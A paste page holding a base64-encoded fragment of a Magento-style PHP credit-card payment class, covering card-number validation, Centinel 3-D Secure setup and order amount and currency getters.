iAgICB9CgogICAgLyoqCiAgICAgKiBPdGhlciBjcmVkaXQgY2FydCB0eXBlIG51bWJlciB2YWxpZGF0aW9uCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkY2NOdW1iZXIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdmFsaWRhdGVDY051bU90aGVyKCRjY051bWJlcikKICAgIHsKICAgICAgICByZXR1cm4gcHJlZ19tYXRjaCgnL15cXGQrJC8nLCAkY2NOdW1iZXIpOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciB0aGVyZSBhcmUgQ0MgdHlwZXMgc2V0IGluIGNvbmZpZ3VyYXRpb24KICAgICAqCiAgICAgKiBAcGFyYW0gTWFnZV9TYWxlc19Nb2RlbF9RdW90ZXxudWxsICRxdW90ZQogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0F2YWlsYWJsZSgkcXVvdGUgPSBudWxsKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2N0eXBlcycsICgkcXVvdGUgPyAkcXVvdGUtPmdldFN0b3JlSWQoKSA6IG51bGwpKQogICAgICAgICAgICAmJiBwYXJlbnQ6OmlzQXZhaWxhYmxlKCRxdW90ZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIGNlbnRpbmVsIHNlcnZpY2UgaXMgZW5hYmxlZAogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SXNDZW50aW5lbFZhbGlkYXRpb25FbmFibGVkKCkKICAgIHsKICAgICAgICByZXR1cm4gZmFsc2UgIT09IE1hZ2U6OmdldENvbmZpZygpLT5nZXROb2RlKCdtb2R1bGVzL01hZ2VfQ2VudGluZWwnKSAmJiAxID09ICR0aGlzLT5nZXRDb25maWdEYXRhKCdjZW50aW5lbCcpOwogICAgfQoKICAgIC8qKgogICAgICogSW5zdGFudGlhdGUgY2VudGluZWwgdmFsaWRhdG9yIG1vZGVsCiAgICAgKgogICAgICogQHJldHVybiBNYWdlX0NlbnRpbmVsX01vZGVsX1NlcnZpY2UKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldENlbnRpbmVsVmFsaWRhdG9yKCkKICAgIHsKICAgICAgICAkdmFsaWRhdG9yID0gTWFnZTo6Z2V0U2luZ2xldG9uKCdjZW50aW5lbC9zZXJ2aWNlJyk7CiAgICAgICAgJHZhbGlkYXRvcgogICAgICAgICAgICAtPnNldElzTW9kZVN0cmljdCgkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2VudGluZWxfaXNfbW9kZV9zdHJpY3QnKSkKICAgICAgICAgICAgLT5zZXRDdXN0b21BcGlFbmRwb2ludFVybCgkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2VudGluZWxfYXBpX3VybCcpKQogICAgICAgICAgICAtPnNldFN0b3JlKCR0aGlzLT5nZXRTdG9yZSgpKQogICAgICAgICAgICAtPnNldElzUGxhY2VPcmRlcigkdGhpcy0+X2lzUGxhY2VPcmRlcigpKTsKICAgICAgICByZXR1cm4gJHZhbGlkYXRvcjsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiBkYXRhIGZvciBDZW50aW5lbCB2YWxpZGF0aW9uCiAgICAgKgogICAgICogQHJldHVybiBWYXJpZW5fT2JqZWN0CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDZW50aW5lbFZhbGlkYXRpb25EYXRhKCkKICAgIHsKICAgICAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7CiAgICAgICAgJHBhcmFtcyA9IG5ldyBWYXJpZW5fT2JqZWN0KCk7CiAgICAgICAgJHBhcmFtcwogICAgICAgICAgICAtPnNldFBheW1lbnRNZXRob2RDb2RlKCR0aGlzLT5nZXRDb2RlKCkpCiAgICAgICAgICAgIC0+c2V0Q2FyZFR5cGUoJGluZm8tPmdldENjVHlwZSgpKQogICAgICAgICAgICAtPnNldENhcmROdW1iZXIoJGluZm8tPmdldENjTnVtYmVyKCkpCiAgICAgICAgICAgIC0+c2V0Q2FyZEV4cE1vbnRoKCRpbmZvLT5nZXRDY0V4cE1vbnRoKCkpCiAgICAgICAgICAgIC0+c2V0Q2FyZEV4cFllYXIoJGluZm8tPmdldENjRXhwWWVhcigpKQogICAgICAgICAgICAtPnNldEFtb3VudCgkdGhpcy0+X2dldEFtb3VudCgpKQogICAgICAgICAgICAtPnNldEN1cnJlbmN5Q29kZSgkdGhpcy0+X2dldEN1cnJlbmN5Q29kZSgpKQogICAgICAgICAgICAtPnNldE9yZGVyTnVtYmVyKCR0aGlzLT5fZ2V0T3JkZXJJZCgpKTsKICAgICAgICByZXR1cm4gJHBhcmFtczsKICAgIH0KCiAgICAvKioKICAgICAqIE9yZGVyIGluY3JlbWVudCBJRCBnZXR0ZXIgKGVpdGhlciByZWFsIGZyb20gb3JkZXIgb3IgYSByZXNlcnZlZCBmcm9tIHF1b3RlKQogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldE9yZGVySWQoKQogICAgewogICAgICAgICRpbmZvID0gJHRoaXMtPmdldEluZm9JbnN0YW5jZSgpOwoKICAgICAgICBpZiAoJHRoaXMtPl9pc1BsYWNlT3JkZXIoKSkgewogICAgICAgICAgICByZXR1cm4gJGluZm8tPmdldE9yZGVyKCktPmdldEluY3JlbWVudElkKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCEkaW5mby0+Z2V0UXVvdGUoKS0+Z2V0UmVzZXJ2ZWRPcmRlcklkKCkpIHsKICAgICAgICAgICAgICAgICRpbmZvLT5nZXRRdW90ZSgpLT5yZXNlcnZlT3JkZXJJZCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkaW5mby0+Z2V0UXVvdGUoKS0+Z2V0UmVzZXJ2ZWRPcmRlcklkKCk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogR3JhbmQgdG90YWwgZ2V0dGVyCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0QW1vdW50KCkKICAgIHsKICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsKICAgICAgICBpZiAoJHRoaXMtPl9pc1BsYWNlT3JkZXIoKSkgewogICAgICAgICAgICByZXR1cm4gKGRvdWJsZSkkaW5mby0+Z2V0T3JkZXIoKS0+Z2V0UXVvdGVCYXNlR3JhbmRUb3RhbCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoZG91YmxlKSRpbmZvLT5nZXRRdW90ZSgpLT5nZXRCYXNlR3JhbmRUb3RhbCgpOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEN1cnJlbmN5IGNvZGUgZ2V0dGVyCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVuY3lDb2RlKCkKICAgIHsKICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsKCiAgICAgICAgaWYgKCR0aGlzLT5faXNQbGFjZU9yZGVyKCkpIHsKICAgICAgICByZXR1cm4gJGluZm8tPmdldE9yZGVyKCktPmdldEJhc2VDdXJyZW5jeUNvZGUoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAkaW5mby0+Z2V0UXVvdGUoKS0+Z2V0QmFzZUN1cnJlbmN5Q29kZSgpOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdoZXRoZXIgY3VycmVudCBvcGVyYXRpb24gaXMgb3JkZXIgcGxhY2VtZW50CiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gX2lzUGxhY2VPcmRlcigpCiAgICB7CiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7CiAgICAgICAgaWYgKCRpbmZvIGluc3RhbmNlb2YgTWFnZV9TYWxlc19Nb2RlbF9RdW90ZV9QYXltZW50KSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9IGVsc2VpZiAoJGluZm8gaW5zdGFuY2VvZiBNYWdlX1NhbGVzX01vZGVsX09yZGVyX1BheW1lbnQpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQp9
Add Comment
Please, Sign In to add comment